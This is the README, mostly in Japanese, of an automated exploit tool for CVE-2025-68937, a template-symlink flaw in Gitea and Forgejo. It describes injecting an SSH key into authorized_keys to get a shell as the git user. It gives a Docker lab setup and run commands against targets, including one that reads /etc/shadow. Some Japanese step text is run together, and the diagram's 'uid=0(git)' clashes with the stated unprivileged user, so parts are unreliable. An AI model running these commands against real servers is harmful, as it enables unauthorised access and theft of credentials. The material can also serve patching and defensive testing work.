
Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user.
CVE-2025-68937 の自動化された概念実証(PoC): Gitea および Forgejo のテンプレートリポジトリ処理におけるシンボリックリンクの逆参照によるディレクトリトラバーサルを利用し、リモートコード実行(RCE)に至ります。
認証済みの任意のユーザー(管理者権限は不要)が、git サービスユーザーとしてシェルを取得できます。
テンプレートから新しいリポジトリを生成する際、Gitea/Forgejo はテンプレートファイルをコピーし、.gitea/template にリストされたファイル内の ${REPO_DESCRIPTION} などの変数を展開します。この処理は検証なしにシンボリックリンクを追従するため、攻撃者はサーバー上の任意のファイルを読み書きできます。
| 詳細 | 値 |
|---|---|
| CVE | CVE-2025-68937 |
| CVSS 4.0 | 9.5 Critical |
| CWE | CWE-61(UNIXシンボリックリンクの追従) |
| 認証要否 | 要(任意のユーザー) |
| 管理者権限 | 不要 |
| ソフトウェア | 影響を受けるバージョン | 修正バージョン |
|---|---|---|
| Gitea | >= 1.11.0-rc1, <= 1.24.6 | 1.24.7 |
| Forgejo | <= 11.0.6 | 11.0.7 |
| Forgejo | >= 12.0.0, <= 13.0.1 | 13.0.2 |
Gitea Server
+---------------------+
1. Register SSH | authorized_keys: |
key with | command="gitea |
${REPO_DESC} | serv..." ssh-ed... |
as comment | ${REPO_DESCRIPTION}|
+---------------------+
|
2. Template repo | symlink
authorized_keys --------->+ follows
-> /data/git/.ssh/ |
authorized_keys |
v
3. Create child +---------------------+
repo with | authorized_keys: |
attacker key | command="gitea |
in description | serv..." ssh-ed... |
| <attacker SSH key> | <-- injected!
+---------------------+
|
4. SSH as git $ ssh -i key git@host
(unrestricted) uid=0(git) ...
${REPO_DESCRIPTION} が含まれていますauthorized_keys をリストした .gitea/templateauthorized_keys ファイルを指す git シンボリックリンク authorized_keysauthorized_keys ファイル(コメントに ${REPO_DESCRIPTION} を含む登録済みキーが記載されている)を読み取り、変数を子リポジトリの説明(私たちのSSH鍵)に展開し、結果をシンボリックリンク経由で書き戻しますgit としてSSH接続**します(command= の制限なし)pip install requests
# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222
# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git
# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"
# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup
脆弱なインスタンスを起動します:
docker run -d --name gitea-vuln \
-p 3000:3000 -p 2222:22 \
-e USER_UID=1000 -e USER_GID=1000 \
gitea/gitea:1.24.6
http://localhost:3000 を開き、インストールウィザードを完了します(SQLite で問題なく動作します)python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222
requestsgit と ssh-keygen が存在すること本ツールは許可されたセキュリティテストおよび教育目的のみを対象としています。自分が所有するシステム、またはテスト実施の明示的な書面による許可を得たシステムに対してのみ使用してください。コンピューターシステムへの不正アクセスは違法です。作者は本ツールの誤用に対して一切の責任を負いません。
| フラグ | デフォルト | 説明 |
|---|
-u, --url | 必須 | Gitea/Forgejo のベース URL |
-U, --user | 必須 | ユーザー名 |
-P, --password | 必須 | パスワード |
--git-home | /data/git | 対象サーバー上の git ユーザーのホームディレクトリ |
--ssh-host | --url から取得 | 接続先の SSH ホスト |
--ssh-port | 22 | Gitea の SSH ポート |
--timeout | 30 | SSH の待機時間(秒) |
--command | 対話的 | シェル取得後に実行するコマンド |
--cleanup | - | エクスプロイトの痕跡を削除 |